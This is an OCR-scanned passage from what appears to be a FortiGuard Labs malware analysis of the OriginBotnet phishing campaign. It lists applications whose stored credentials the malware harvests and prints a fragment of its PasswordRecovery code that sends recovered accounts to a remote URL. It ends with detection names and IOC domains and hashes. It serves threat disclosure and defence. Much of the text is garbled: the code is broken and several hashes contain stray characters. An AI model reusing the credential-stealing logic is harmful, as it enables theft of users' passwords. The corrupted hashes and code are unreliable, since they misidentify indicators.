e Other Browsers: Firefox, SeaMonkey, Thunderbird, BlackHawk, CyberFox, K-Meleon, IceCat, PaleMoon,
IceDragon, Waterfox, Postbox, Flock, IE, UC, Safari for Windows, QQ Browser, and Falkon Browser

e Email & FTP Clients: Outlook, Windows Mail App, The Bat!, Becky!, IncrediMail, Eudora, ClawsMail,
FoxMail, Opera Mail, PocoMail, eM Client, Mailbird, FileZilla, WinSCP, CoreFTP, Flash FXP, FTP
Navigator, SmartFTP, WS_FTP, FtpCommander, FTPGetter

e Others: DynDns, OpenVPN, NordVpn, Private Internet Access, Discord, Paltalk, Pidgin, Trillian, Psi/Psi+,
MySQL Workbench, Internet Downloader Manager, JDownloader 2.0, \Microsoft\Credentials\, RealVNC,
TightVNC
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BI unt> list = I
1> list2 = new List<Cr >();
L recoveredBrowserAccount in list)

Os;

= recoveredBrowserAccount.
= recoveredBrowserAccount. 3
= recoveredBrowserAccount.
= recoveredBrowserAccount.

sultRequest log =

rdR

= cmdId,
= list2,
= tenantId,

e>(log, url, publickey)

Figure 36: The main function for PasswordRecovery

Conclusion

This cyberattack campaign uncovered by FortiGuard Labs involved a complex chain of events. It began with a
malicious Word document distributed via phishing emails, leading victims to download a loader that executed a
series of malware payloads. These payloads included RedLine Clipper, Agent Tesla, and OriginBotnet. The attack
demonstrated sophisticated techniques to evade detection and maintain persistence on compromised systems. We
also provided a comprehensive breakdown of each attack stage, shedding light on the intricacies of the deployed

malware and the tactics employed.

Fortinet Protections

The malware described in this report are detected and blocked by FortiGuard Antivirus as:

MSOffice/Agent. DA32!tr.dldr
MSIL/Agent.8DF3!tr
MSIL/Agent. DGH!tr
MSIL/Agent.F!tr.spy
MSIL/Agent.CSS!tr.spy
MSIL/Kryptik. AHUA!tr
MSIL/Kryptik.PSV!tr
MSIL/Injector WGW !tr
MSIL/Injector. WHL!tr
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MSIL/ClipBanker.PK!tr
MSIL/Keylogger.ELM!tr
MSIL/OriginBotnet.G!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard
AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-

date protections are protected.

The URLSs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.

We also suggest our readers go through the free NSE training: NSE 1 — Information Security Awareness, a module

on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global

FortiGuard Incident Response Team.

I10Cs

URLs:

bankslip[.]info
softwarez[.]online

nitrosoftwares|.]Jshop

Files:

€9e72e2865517e8838dbad0ce41561b2bd75c399b7599¢1711350£9408189b9b
56ced4elabca685a871b77fab998766cbddfb3edf719311316082b6e05986d67
€204f07873fafdfd48f37e7e659e3be1e4202c8f62db8c00866c8af40a9a82c5
21ad235118c371e2850c539040b6dcdd88196¢021245440155fe80aacf6ecec7e
4617631b4497eddcbd97538f6712e06fabdb53af3181d6c1801247338bffaad3
be915d601276635bf4e77ce6b84feeec254a900c0d0c229b0d00f2cObcalbec?
c241e3b5d389b227484a8baec303e6c3e262d7f7bf7909e36e312deadfh82798
dfd2b218387910b4aab6e5ee431acab864b255832eddd0fc7780db9d5844520a
£36464557efef14b7eedcebadccOe45af46f5c06b67c5351da15391b03al19c4c
b15055e75ae0eeb4585f9323ef041fa25ed9b6bf2896b6ead5d871d49alc72b8
49¢969a5461b2919fd9a7dc7f76dd84101b2acc429b341{8eeee248998e9da32
65e47578274d16be1be0f50767bad0af16930df43556dd23d7ad5e4adc2bcbe3

Source: https://www.fortinet.com/blog/threat-research/originbotnet-spreads-via-malicious-word-document
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